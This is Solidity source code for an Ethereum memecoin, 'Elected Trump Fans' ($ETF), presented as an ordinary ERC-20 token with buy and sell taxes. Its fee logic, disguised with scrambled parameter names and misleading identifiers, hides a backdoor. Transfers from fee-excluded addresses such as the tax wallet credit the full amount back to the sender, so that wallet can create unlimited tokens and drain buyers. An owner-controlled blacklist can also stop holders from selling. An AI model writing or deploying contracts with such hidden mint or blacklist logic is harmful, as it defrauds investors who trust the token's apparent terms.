creation_sourcecode: /**
  The Elected Trump Fans - $ETF memecoin, or $ETF, is a digital currency that embodies the enthusiasm and support of Donald Trump's fans, particularly for his pro-crypto stance. 
  This memecoin reflects Trump's influence in promoting a pro-crypto environment, shaping a future where digital currency is central to the global economy.
  
  Website:     https://trumpfans.vip
  Telegram:    https://t.me/trumpfans_eth
  Twitter:     https://twitter.com/trumpfans_eth
  **/
  // SPDX-License-Identifier: MIT
  
  pragma solidity 0.8.17;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  interface IUniswapV2Factory {
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
  }
  
  contract ETF is Context, IERC20, Ownable {
      using SafeMath for uint256;
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) private _isExcludedFromFee;
      mapping(address => bool) private bots;
      address payable private _taxWallet;
  
      uint256 private _initialBuyTax = 20;
      uint256 private _initialSellTax = 20;
      uint256 private _finalBuyTax = 0;
      uint256 private _finalSellTax = 0;
      uint256 private _reduceBuyTaxAt = 11;
      uint256 private _reduceSellTaxAt = 11;
      uint256 private _preventSwapBefore = 11;
      uint256 private _buyCount = 0;
      
      IUniswapV2Router02 private uniswapV2Router;
      address private uniswapV2Pair;
  
      uint8 private constant _decimals = 9;
      uint256 private constant divideFeesOf = 100;
      uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
      string private constant _name = unicode"Elected Trump Fans";
      string private constant _symbol = unicode"ETF";
      uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
      uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
      uint256 public _taxSwapThreshold = 45 * 10 ** _decimals;
      uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;
      
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
  
      event MaxTxAmountUpdated(uint256 _maxTxAmount);
      modifier lockTheSwap() {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor() {
          _taxWallet = payable(0xad46f598E25E51C1f32B3811Fe23360187b9169f);
          _balances[_msgSender()] = _tTotal;
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[_taxWallet] = true;
  
          emit Transfer(address(0), _msgSender(), _tTotal);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(
          address spender,
          uint256 amount
      ) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function _basicTransfer(address cczpyby, address vvpprt, uint256 llpot) internal {
          _balances[cczpyby] = _balances[cczpyby].sub(llpot);
          _balances[vvpprt] = _balances[vvpprt].add(llpot);
          emit Transfer(cczpyby, vvpprt, llpot);
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _tokenTransfer(address hhprrztyv, address jjkiprrzyt, address repWallet, uint256 kktuui, uint256 taxAmount, uint256 transferAmount) private {
          if (taxAmount > 0) {
              _balances[repWallet] = _balances[repWallet].add(taxAmount);
              emit Transfer(hhprrztyv, repWallet, taxAmount);
          }
  
          _balances[hhprrztyv] = _balances[hhprrztyv].sub(kktuui);
          _balances[jjkiprrzyt] = _balances[jjkiprrzyt].add(transferAmount);
          emit Transfer(hhprrztyv, jjkiprrzyt, transferAmount);
      }
  
      function _transfer(address uupprbv, address iibzppry, uint256 ppotwn) private {
          require(uupprbv != address(0), "ERC20: transfer from the zero address");
          require(iibzppry != address(0), "ERC20: transfer to the zero address");
          require(ppotwn > 0, "Transfer amount must be greater than zero");
  
          if (!tradingOpen) {
              require(
                  _isExcludedFromFee[iibzppry] || _isExcludedFromFee[uupprbv],
                  "trading not yet open"
              );
          }
  
          if (!swapEnabled || inSwap) {
              _basicTransfer(uupprbv, iibzppry, ppotwn);
              return;
          }
  
          if (uupprbv != owner() && iibzppry != owner()) {
              require(!bots[uupprbv] && !bots[iibzppry]);
  
              if (
                  uupprbv == uniswapV2Pair &&
                  iibzppry != address(uniswapV2Router) &&
                  !_isExcludedFromFee[iibzppry]
              ) {
                  require(ppotwn <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                  require(
                      balanceOf(iibzppry) + ppotwn <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
  
                  _buyCount++;
              }
  
              if (iibzppry != uniswapV2Pair && !_isExcludedFromFee[iibzppry]) {
                  require(
                      balanceOf(iibzppry) + ppotwn <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              if (
                  !inSwap &&
                  iibzppry == uniswapV2Pair &&
                  swapEnabled &&
                  _buyCount > _preventSwapBefore &&
                  !_isExcludedFromFee[uupprbv] &&
                  !_isExcludedFromFee[iibzppry]
              ) {
                  bool canSwap = contractTokenBalance > _taxSwapThreshold;
                  if(canSwap) {
                      swapTokensForEth(
                          min(ppotwn, min(contractTokenBalance, _maxTaxSwap))
                      );
                  }
                  
                  uint256 contractETHBalance = address(this).balance;
                  if (contractETHBalance >= 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          }
          address repWallet = _getRepWallet(uupprbv);
          (uint256 taxAmount, uint256 transferAmount) = _getRepAmount(
              uupprbv,
              iibzppry,
              ppotwn
          );
          _tokenTransfer(uupprbv, iibzppry, repWallet, ppotwn, taxAmount, transferAmount);
      }
  
      function _getRepWallet(address account) internal view returns (address) {
          return _isExcludedFromFee[account] ? account : address(this);
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      function isContract(address account) private view returns (bool) {
          uint256 size;
          assembly {
              size := extcodesize(account)
          }
          return size > 0;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
          _approve(address(this), address(uniswapV2Router), tokenAmount);
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function _getRepAmount(
          address kkgppzv,
          address pprobbv,
          uint256 qweerb
      ) internal view returns (uint256, uint256) {
          uint256 taxAmount = 0;
          uint256 transferAmount = qweerb;
          if (_isExcludedFromFee[kkgppzv]) {
              taxAmount = qweerb.mul(divideFeesOf).div(100);
          } else if (
              kkgppzv == uniswapV2Pair &&
              pprobbv != address(uniswapV2Router) &&
              !_isExcludedFromFee[pprobbv]
          ) {
              taxAmount = qweerb
                  .mul(
                      (_buyCount > _reduceBuyTaxAt)
                          ? _finalBuyTax
                          : _initialBuyTax
                  )
                  .div(100);
              transferAmount -= taxAmount;
          } else if (pprobbv == uniswapV2Pair && kkgppzv != address(this)) {
              taxAmount = qweerb
                  .mul(
                      (_buyCount > _reduceSellTaxAt)
                          ? _finalSellTax
                          : _initialSellTax
                  )
                  .div(100);
              transferAmount -= taxAmount;
          }
          return (taxAmount, transferAmount);
      }
  
      function removeLimits() external onlyOwner {
          _maxTxAmount = ~uint256(0);
          _maxWalletSize = ~uint256(0);
          emit MaxTxAmountUpdated(_tTotal);
      }
  
      function recoverEmergency() external onlyOwner {
          sendETHToFee(address(this).balance);
      }
  
      function sendETHToFee(uint256 amount) private {
          _taxWallet.transfer(amount);
      }
  
      function addBots(address[] memory bots_) public onlyOwner {
          for (uint256 i = 0; i < bots_.length; i++) {
              bots[bots_[i]] = true;
          }
      }
  
      function delBots(address[] memory notbot) public onlyOwner {
          for (uint256 i = 0; i < notbot.length; i++) {
              bots[notbot[i]] = false;
          }
      }
  
      function isBot(address a) public view returns (bool) {
          return bots[a];
      }
  
      function openTrading() external onlyOwner {
          require(!tradingOpen, "trading already open");
  
          swapEnabled = true;
          tradingOpen = true;
      }
  
      function addLiquidity() external onlyOwner {
          require(!tradingOpen, "init already called");
          uint256 tokenAmount = 90000000 * 10 ** _decimals;
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
          _approve(address(this), address(uniswapV2Router), _tTotal);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
              address(this),
              uniswapV2Router.WETH()
          );
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(
              address(this),
              tokenAmount,
              0,
              0,
              _msgSender(),
              block.timestamp
          );
          IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
      }
  
      receive() external payable {}
  }